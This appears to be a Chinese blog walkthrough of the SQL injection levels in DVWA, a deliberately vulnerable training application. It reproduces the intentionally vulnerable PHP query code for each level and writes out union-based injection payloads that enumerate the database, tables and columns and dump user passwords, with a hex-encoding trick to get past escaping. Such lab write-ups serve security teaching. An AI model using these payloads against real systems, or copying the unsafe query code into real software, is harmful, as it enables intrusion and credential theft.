总结了dvwa中的sql注入关卡
Low
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
include ("sql-connection.php");
if (isset($_POST['id']) && isset($_POST['submit'])){ $id=$_POST['id']; $sql="SELECT first_name , last_name FROM users WHERE user_id='$id'"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
?>
|
这关毫无过滤的sql语句
提示输入id,判断可能是数字型注入
输入1
再输入1’
出现报错,从错误信息判断是数字型注入,且被单引号包裹
输入1’#
没有报错
接下来判断查询字段数
输入1’ order by 3
说明查询字段数为2
那么就用联合查询来爆库
输入0’ union select database(),2 #
输入0’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
爆表
输入0’ union select group_concat(column_name),2 from information_schema.columns where table_name=’users’#
爆列
输入0’ union select password,user_id from users #
爆数据
Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
include("sql-connection.php");
if(isset($_POST['submit'])){ $id=$_POST['id']; $id=mysql_real_escape_string($id); $sql="SELECT first_name,last_name FROM users where user_id=$id"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }
?>
|
这关很明显是数字型注入,通过选择表单中的数字作为注入点,我们可以用burp抓包修改post的id值
这里id值虽然通过mysql_real_escape函数被转义处理,但是由于id没有被引号包裹,所以没有什么区别
先判断查询字段数
字段数为2
接下来爆库
爆表
爆列
因为这里单引号被包裹,所以users可以转成十六进制数从而绕过转义
爆数据
High
这关有两个页面,一个页面用来输入id值,输入的id值经过sql查询后的信息显示在主页面上
输入id值的页面代码如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php
session_start();
if(isset($_POST['id']) && isset($_POST['submit'])){ $_SESSION['id']=$_POST['id']; }
echo "Session ID:".$_SESSION['id'];
?>
|
主页面代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
session_start();
include("sql-connection.php");
if (isset($_SESSION['id'])){ $id=$_SESSION['id']; $sql="SELECT first_name , last_name FROM users where user_id='$id'"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }
?>
|
这关把post的id值赋值给session的id值
注入点仍然是id值
跟上面关卡没什么本质区别
爆库
爆表
爆列
爆数据